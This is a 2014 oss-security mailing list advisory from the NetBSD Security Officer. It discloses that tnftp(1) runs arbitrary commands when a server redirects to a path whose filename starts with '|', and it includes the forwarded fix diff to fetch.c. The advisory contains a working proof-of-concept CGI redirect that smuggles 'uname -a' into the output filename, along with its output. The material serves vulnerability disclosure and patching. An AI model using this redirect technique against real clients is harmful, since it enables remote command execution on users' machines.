|
|
Message-ID: <20141028165037.GC6211@nef.pbox.org>
Date: Tue, 28 Oct 2014 17:50:37 +0100
From: Alistair Crooks <agc@...bsd.org>
To: oss-security@...ts.openwall.com
Cc: security-officer@...bsd.org
Subject: ftp(1) can be made execute arbitrary commands by malicious webserver
Hi,
Despite being old, tnftp(1) is quite widely used, hence this request.
Could we get a CVE issued for this one, please?
Sorry about the lack of warning, I wasn't aware of the issue before
the fixes were committed to the repo.
FreeBSD and Dragonfly have been informed, as has Apple, and I have
received a boilerplate reply from Apple. The issue is present in
10.10 (Yosemite).
Thanks,
Alistair
---
Security Officer, NetBSD
Just a quick heads-up, and sorry that no notice was given - the issue
is that a malicious server can cause ftp(1) to execute arbitrary
commands:
If you do "ftp http://server/path/file.txt" and don't specify an output
filename with -o, the ftp program can be tricked into executing
arbitrary commands.
The FTP client will follow HTTP redirects, and uses the part of the
path after the last / from the last resource it accesses as the output
filename (as long as -o is not specified).
After it resolves the output filename, it checks to see if the output
filename begins with a "|", and if so, passes the rest to
popen(3): http://nxr.netbsd.org/xref/src/usr.bin/ftp/fetch.c#1156
Here's a simple CGI script that causes ftp to execute "uname -a", the
issue is present on both NetBSD 7.99.1 and OSX 10.10:
a20$ pwd
/var/www/cgi-bin
a20$ ls -l
total 4
-rwxr-xr-x 1 root wheel 159 Oct 14 02:02 redirect
-rwxr-xr-x 1 root wheel 178 Oct 14 01:54 |uname -a
a20$ cat redirect
#!/bin/sh
echo 'Status: 302 Found'
echo 'Content-Type: text/html'
echo 'Connection: keep-alive'
echo 'Location: http://192.168.2.19/cgi-bin/|uname%20-a'
echo
a20$
a20$ ftp http://localhost/cgi-bin/redirect
Trying ::1:80 ...
ftp: Can't connect to `::1:80': Connection refused
Trying 127.0.0.1:80 ...
Requesting http://localhost/cgi-bin/redirect
Redirected to http://192.168.2.19/cgi-bin/|uname%20-a
Requesting http://192.168.2.19/cgi-bin/|uname%20-a
32 101.46 KiB/s
32 bytes retrieved in 00:00 (78.51 KiB/s)
NetBSD a20 7.99.1 NetBSD 7.99.1 (CUBIEBOARD) #113: Sun Oct 26 12:05:36
ADT 2014
Jared@...ed-PC:/cygdrive/d/netbsd/src/sys/arch/evbarm/compile/obj/CUBIE
BOARD evbarm
a20$
The issue was found by Jared Mcneill.
Sorry for the lack of notice, I wasn't aware of the issue before fixes
were committed to the NetBSD repo. These fixes are attached to this
mail.
Regards,
Alistair
--
NetBSD Security Officer
Date: Sun, 26 Oct 2014 12:21:59 -0400
From: Christos Zoulas <christos@...bsd.org>
To: source-changes-full@...bsd.org
Subject: CVS commit: src/usr.bin/ftp
X-Mailer: log_accum
Module Name: src
Committed By: christos
Date: Sun Oct 26 16:21:59 UTC 2014
Modified Files:
src/usr.bin/ftp: fetch.c
Log Message:
don't pay attention to special characters if they don't come from the command
line (from jmcneill)
To generate a diff of this commit:
cvs rdiff -u -r1.205 -r1.206 src/usr.bin/ftp/fetch.c
Please note that diffs are not public domain; they are subject to the
copyright notices on the relevant files.
Modified files:
Index: src/usr.bin/ftp/fetch.c
diff -u src/usr.bin/ftp/fetch.c:1.205 src/usr.bin/ftp/fetch.c:1.206
--- src/usr.bin/ftp/fetch.c:1.205 Wed Nov 6 21:06:51 2013
+++ src/usr.bin/ftp/fetch.c Sun Oct 26 12:21:59 2014
@@ -1,4 +1,4 @@
-/* $NetBSD: fetch.c,v 1.205 2013/11/07 02:06:51 christos Exp $ */
+/* $NetBSD: fetch.c,v 1.206 2014/10/26 16:21:59 christos Exp $ */
/*-
* Copyright (c) 1997-2009 The NetBSD Foundation, Inc.
@@ -34,7 +34,7 @@
#include <sys/cdefs.h>
#ifndef lint
-__RCSID("$NetBSD: fetch.c,v 1.205 2013/11/07 02:06:51 christos Exp $");
+__RCSID("$NetBSD: fetch.c,v 1.206 2014/10/26 16:21:59 christos Exp $");
#endif /* not lint */
/*
@@ -571,7 +571,7 @@ fetch_url(const char *url, const char *p
url_decode(decodedpath);
if (outfile)
- savefile = ftp_strdup(outfile);
+ savefile = outfile;
else {
cp = strrchr(decodedpath, '/'); /* find savefile */
if (cp != NULL)
@@ -595,8 +595,7 @@ fetch_url(const char *url, const char *p
rangestart = rangeend = entitylen = -1;
mtime = -1;
if (restartautofetch) {
- if (strcmp(savefile, "-") != 0 && *savefile != '|' &&
- stat(savefile, &sb) == 0)
+ if (stat(savefile, &sb) == 0)
restart_point = sb.st_size;
}
if (urltype == FILE_URL_T) { /* file:// URLs */
@@ -1150,18 +1149,26 @@ fetch_url(const char *url, const char *p
}
} /* end of ftp:// or http:// specific setup */
- /* Open the output file. */
- if (strcmp(savefile, "-") == 0) {
- fout = stdout;
- } else if (*savefile == '|') {
- oldpipe = xsignal(SIGPIPE, SIG_IGN);
- fout = popen(savefile + 1, "w");
- if (fout == NULL) {
- warn("Can't execute `%s'", savefile + 1);
- goto cleanup_fetch_url;
+ /* Open the output file. */
+
+ /*
+ * Only trust filenames with special meaning if they came from
+ * the command line
+ */
+ if (outfile == savefile) {
+ if (strcmp(savefile, "-") == 0) {
+ fout = stdout;
+ } else if (*savefile == '|') {
+ oldpipe = xsignal(SIGPIPE, SIG_IGN);
+ fout = popen(savefile + 1, "w");
+ if (fout == NULL) {
+ warn("Can't execute `%s'", savefile + 1);
+ goto cleanup_fetch_url;
+ }
+ closefunc = pclose;
}
- closefunc = pclose;
- } else {
+ }
+ if (fout == NULL) {
if ((rangeend != -1 && rangeend <= restart_point) ||
(rangestart == -1 && filesize != -1 && filesize <= restart_point)) {
/* already done */
@@ -1379,7 +1386,8 @@ fetch_url(const char *url, const char *p
(*closefunc)(fout);
if (res0)
freeaddrinfo(res0);
- FREEPTR(savefile);
+ if (savefile != outfile)
+ FREEPTR(savefile);
FREEPTR(uuser);
if (pass != NULL)
memset(pass, 0, strlen(pass));
----- End forwarded message -----
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.